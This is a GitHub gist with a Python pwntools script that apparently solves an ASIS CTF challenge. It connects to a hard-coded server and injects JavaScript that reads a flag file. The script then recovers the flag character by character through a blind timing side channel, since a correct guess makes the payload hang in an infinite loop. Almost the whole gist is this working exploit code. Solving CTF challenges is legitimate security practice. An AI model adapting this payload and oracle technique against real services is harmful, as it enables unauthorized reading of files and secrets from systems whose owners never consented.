Created
October 24, 2021 15:33
-
-
Save moratorium08/15d389d8e24684176d1eb186736b684d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division, print_function | |
import random | |
from pwn import * | |
import argparse | |
import time | |
host = "49.12.105.124" | |
port = 15010 | |
js="""var s = read("/home/challenge/flag-4692ae2c9ada5ed9a3f916bd2d46e907.txt"); | |
if (s[XXXX] == "YYYY") { while(true) { var x = readline(); }} """ | |
def main(idx, c): | |
r = remote(host, port) | |
def recvuntil(x, verbose=True): | |
s = r.recvuntil(x) | |
return s.strip(x) | |
def sendline(s, verbose=True): | |
if log and verbose: | |
pass | |
#print(s) | |
r.sendline(s) | |
recvuntil(b"ASIS-CTF") | |
payload = js.replace("XXXX", str(idx)).replace("YYYY", c) | |
#print(payload) | |
sendline(payload.encode("ascii")) | |
sendline(b"ASIS-CTF") | |
r.recvline() | |
try: | |
print(r.recv(timeout=1)) | |
r.close() | |
return True | |
except Exception as e: | |
print(e) | |
r.close() | |
return False | |
s = "ASIS{17863" | |
import string | |
alphabets = "0123456789" + string.ascii_lowercase + string.ascii_uppercase + "{}_" | |
#print(main(0, "X")) | |
cont =True | |
while cont: | |
for c in alphabets: | |
if main(len(s), c): | |
s += c | |
if c == "}": | |
cont=False | |
print("current", s) | |
break | |
else: | |
print(len(s), c) | |
else: | |
print("cannto found") | |
s += "?" | |
print("result", s) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment